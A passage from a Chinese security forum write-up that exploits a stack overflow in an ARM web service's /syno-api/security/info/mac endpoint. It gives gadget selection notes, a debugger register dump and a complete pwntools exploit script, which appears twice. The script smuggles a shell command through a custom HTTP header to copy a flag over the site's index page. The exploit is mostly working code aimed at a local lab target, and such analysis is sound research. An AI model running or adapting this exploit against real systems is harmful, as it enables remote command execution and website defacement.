p3 += b'Cookie: sid=sBmrHHr4XX4TKaIjv0Vw6L3I15y46m47DO9qeF79CPjquIMOAHX6ygmRJ2AaNleg' + rn
p3 += b'Connection: close' + rn
p3 += rn
p3 += json
 
li('[+] sendling payload')
r.send(p3)
 
r.interactive()

寻找合适的gadget,符合可见字符,因为aslr为1,最后的利用需要爆破,这里为了方便会关闭aslr。binary_base前面为0x4开头的时候binary里有些地址gadget会符合要求,如下gadget

.text:00014D5C                 STR             R3, [R11,#var_30]
.text:00014D60                 LDR             R0, [R11,#var_38]
.text:00014D64                 BL              _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv ; std::string::c_str(void)
.text:00014D68                 MOV             R2, R0
.text:00014D6C                 LDR             R3, =(aR_0 - 0x14D78) ; "r"
.text:00014D70                 ADD             R3, PC, R3 ; "r"
.text:00014D74                 MOV             R1, R3  ; modes
.text:00014D78                 MOV             R0, R2  ; command

这里有很多方法来getshell,如果采取rop利用,R11这里的地址刚好在栈上,我尝试之后发现如果使用多个key和value,这些值会往上跑,最后可以跑到r11这里,此时就可以写很长的命令来执行

还有一种方法是从00014D68这里的地址开始的gadget,此时的寄存器状态如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*R0   0x7efff1e0 ◂— 'aaaaaaaa\\MA'
 R1   0x0
*R2   0x7efff1e0 ◂— 'aaaaaaaa\\MA'
*R3   0x414d5c ◂— mov r2, r0
 R4   0x4b7954 ◂— 0xb77f4
 R5   0x0
 R6   0x407464 ◂— mov fp, #0
 R7   0x0
 R8   0x0
 R9   0x0
 R10  0x4b7954 ◂— 0xb77f4
*R11  0x7efff104 —▸ 0x76fb3840 ◂— mov r3, r0
 R12  0x0
*SP   0x7efff0e8 ◂— 0x0
*PC   0x414d5c ◂— mov r2, r0

r0这里可以控制8个字节的命令,最后一个字节用;来隔开进行命令执行,但是在调试的时候发现00014D68这里的地址需要细调,最后的地址为00014D5C,传入自定义的请求头也可以写很长的命令了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
 
context(arch='arm', os='linux', log_level='debug')
 
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
 
context.terminal = ['tmux','splitw','-h']
 
ip = '127.0.0.1'
port = 8801
 
r = remote(ip, port)
 
binary_base = 0x400000
 
#gadget = 0x14D5c + binary_base
gadget = 0x14D5c + binary_base
#gadget = 0x414d5c
#gadget = 0x00018a7c + binary_base
#gadget = 0x14d60 + binary_base
 
# 0x00018a7c : mov r0, r2 ; blx r3
 
cmd = b'$HTTP_A'
cmd = cmd.ljust(8, b';')
 
p1 = b'a ' + b'b' * (0x60 + 0x24 - 8) + cmd + b'\u005c\u004d\u0041'#p32(gadget)[:3]
 
value = b'""'
json = b'{"' + p1 + b'": ""}'
li(json)
 
rn = b'\r\n'
 
p3 = b''
p3 += b'POST /syno-api/security/info/mac HTTP/1.1' + rn
p3 += (b"Content-Length: %d" % len(json)) +rn
p3 += b'Host: 127.0.0.1:8801' + rn
p3 += b'sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"' + rn
p3 += b'A: cp /flag /www/index.html' + rn
p3 += b'Accept: text/plain, */*; q=0.01' + rn
p3 += b'Content-Type: application/json' + rn
p3 += b'X-Requested-With: XMLHttpRequest' + rn
p3 += b'sec-ch-ua-mobile: ?0' + rn
p3 += b'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36' + rn
p3 += b'sec-ch-ua-platform: "macOS"' + rn
p3 += b'Origin: http://127.0.0.1:8801' + rn
p3 += b'Sec-Fetch-Site: same-origin' + rn
p3 += b'Sec-Fetch-Mode: cors' + rn
p3 += b'Sec-Fetch-Dest: empty' + rn
p3 += b'Referer: http://127.0.0.1:8801/' + rn
p3 += b'Accept-Encoding: gzip, deflate' + rn
p3 += b'Accept-Language: zh-CN,zh;q=0.9' + rn
p3 += b'Cookie: sid=sBmrHHr4XX4TKaIjv0Vw6L3I15y46m47DO9qeF79CPjquIMOAHX6ygmRJ2AaNleg' + rn
p3 += b'Connection: close' + rn
p3 += rn
p3 += json
 
li('[+] sendling payload')
r.send(p3)
 
r.interactive()

重新访问就可以看到主页被篡改

Reference

https://eqqie.cn/index.php/archives/2076

https://blog.csdn.net/tuzhutuzhu/article/details/23705485


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-3-12 11:19 被z1r0编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 3573
活跃值: (31026)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-3-13 10:18
1
游客
登录 | 注册 方可回帖
返回
//